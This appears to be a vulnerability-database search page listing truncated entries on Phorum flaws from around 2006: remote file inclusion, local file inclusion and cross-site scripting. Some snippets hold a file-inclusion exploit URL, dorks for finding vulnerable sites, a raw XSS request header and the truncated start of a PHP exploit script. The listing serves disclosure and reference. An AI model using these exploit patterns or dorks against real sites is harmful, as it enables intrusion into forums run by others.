472 matches found
PT-2006-7153 · Phorum · Phorum
Name of the Vulnerable Software and Affected Versions: Phorum versions 3.2.11 and earlier Description: A remote file inclusion issue allows attackers to execute arbitrary PHP code via a URL in the db file parameter. Recommendations: For Phorum versions 3.2.11 and earlier, at the moment, there is ...
Phorum <= 3.2.11 (common.php) Remote File Include Vulnerability
No description provided by source. ===========================================================br / Yee7TeaMbr / br / WwW.Yee7.CoMbr / ===========================================================br / br / Software: Phorum v3.2.11br / br / Vendor: http://www.phorum.org/br / br / Download:...
Phorum 3.2.11 - common.php Remote File Inclusion
Phorum 3.2.11 - common.php Remote File Inclusion =========================================================== Yee7TeaM WwW.Yee7.CoM =========================================================== Software: Phorum v3.2.11 Vendor: http://www.phorum.org/ Download: http://skrypty.webpc.pl/pobierz274.html...
Phorum <= 3.2.11 (common.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications =============================================================== Phorum // $dbfile = './db/postgresql65.php'; Exploit: http://localhost/paTh/common.php?dbfile=Ev!lScript =========================================================== By: Mr-m07...
Phorum 3.2.11 - 'common.php' Remote File Inclusion
=========================================================== Yee7TeaM WwW.Yee7.CoM =========================================================== Software: Phorum v3.2.11 Vendor: http://www.phorum.org/ Download: http://skrypty.webpc.pl/pobierz274.html Dork: "Copyright C 2000 Phorum Development Team"...
Phorum <= 3.2.11 (common.php) Remote File Include Vulnerability
=========================================================== Yee7TeaM WwW.Yee7.CoM =========================================================== Software: Phorum v3.2.11 Vendor: http://www.phorum.org/ Download: http://skrypty.webpc.pl/pobierz274.html Dork: "Copyright C 2000 Phorum Development Team"...
Cross-Site Scripting and Local File Inclusion in Phorum
Some vulnerabilities have been discovered in Phorum, which can be exploited by malicious people to conduct cross-site scripting attacks, disclose sensitive information, and potentially compromise a vulnerable system. 1 Input passed to the "template" parameter in pm.php isn't properly verified,...
phorum5114local.txt
Some vulnerabilities have been discovered in Phorum, which can be exploited by malicious people to conduct cross-site scripting attacks, disclose sensitive information, and potentially compromise a vulnerable system. 1 Input passed to the "template" parameter in pm.php isn't properly verified,...
Phorum 5.1.14 XSS SQL injection Vulnerability
Phorum 5.1.14 http://www.phorum.org -------------------------- Cross Site Scripting XSS -------------------------- POST http://target.xx:80/posting.php HTTP/1.0 Accept: / Content-Type: application/x-www-form-urlencoded Host: target.xx Content-Length: 447...
CVE-2006-3612
Cross-site scripting XSS vulnerability in Phorum 5.1.14 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...
CVE-2006-3615
Multiple PHP remote file inclusion vulnerabilities in Phorum 5.1.14, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via unspecified vectors related to an uninitialized variable...
phorum5114.txt
Phorum 5.1.14 http://www.phorum.org -------------------------- Cross Site Scripting XSS -------------------------- POST http://target.xx:80/posting.php HTTP/1.0 Accept: / Content-Type: application/x-www-form-urlencoded Host: target.xx Content-Length: 447...
CVE-2006-3611
This CVE concerns Phorum 5 with a directory traversal flaw in pm.php. Remote authenticated users could cause Local File Inclusion via the GLOBALS[template] parameter, by injecting PHP sequences into a log file that pm.php later includes, enabling arbitrary local file execution. The description do...
CVE-2006-3615
Phorum 5.1.14 contains multiple PHP remote file inclusion vulnerabilities when register_globals is enabled. The issue allows remote attackers to execute arbitrary PHP code via vectors related to an uninitialized variable. The affected software is Phorum 5.1.14; impact is partial confidentiality, ...
CVE-2006-3612
CVE-2006-3612 affects Phorum 5.1.14, with a reported Cross-site scripting (XSS) vulnerability that allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Red Hat and NVD entries corroborate the XSS issue in Phorum 5.1.14. The available metrics indicate a low overa...
CVE-2006-3612
Cross-site scripting XSS vulnerability in Phorum 5.1.14 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...
CVE-2006-3615
Multiple PHP remote file inclusion vulnerabilities in Phorum 5.1.14, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via unspecified vectors related to an uninitialized variable...
CVE-2006-3611
Directory traversal vulnerability in pm.php in Phorum 5 allows remote authenticated users to include and execute arbitrary local files via directory traversal sequences in the GLOBALStemplate parameter, as demonstrated by injecting PHP sequences into a log file, which is then included by pm.php...
Phorum 5 (pm.php) Arbitrary Local Inclusion Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "PHORUM 5 arbitrary local inclusion exploit\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork: "This forum powered by Phorum."\n\n"; / works with: registerglobals=On...
Phorum 5 (pm.php) Arbitrary Local Inclusion Exploit
Exploit for unknown platform in category web applications =================================================== Phorum 5 pm.php Arbitrary Local Inclusion Exploit =================================================== !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i...